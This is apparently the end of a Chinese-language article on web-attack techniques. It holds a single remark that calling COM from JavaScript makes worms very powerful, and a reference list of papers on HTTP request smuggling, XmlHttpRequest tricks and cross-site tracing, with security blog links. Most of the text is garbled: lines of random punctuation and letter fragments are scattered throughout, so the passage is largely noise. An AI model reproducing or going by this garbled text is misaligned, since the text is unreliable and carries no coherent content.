, k3 ^2 c" k/ ^: |' q5 ^: C+ ]2 m8 {操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
. a; o7 l5 I, v' K2 A6 H! z
/ D- T( }- i1 K8 X2 B& i


- n) E5 s" E; V* x& m$ u" o) I
3 T  S3 g* j0 W" j" T6 \
) i1 V  @- \1 W0 F

本文引用文档资料:
( b1 o7 m) V  Q$ k7 A) e* ?
4 ?* n" \) A7 m  [. P"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
, \* T# K$ Q: j, l0 f6 {Xeye Team http://xeye.us/
7 S' s, a% z7 E3 L$ }1 r7 H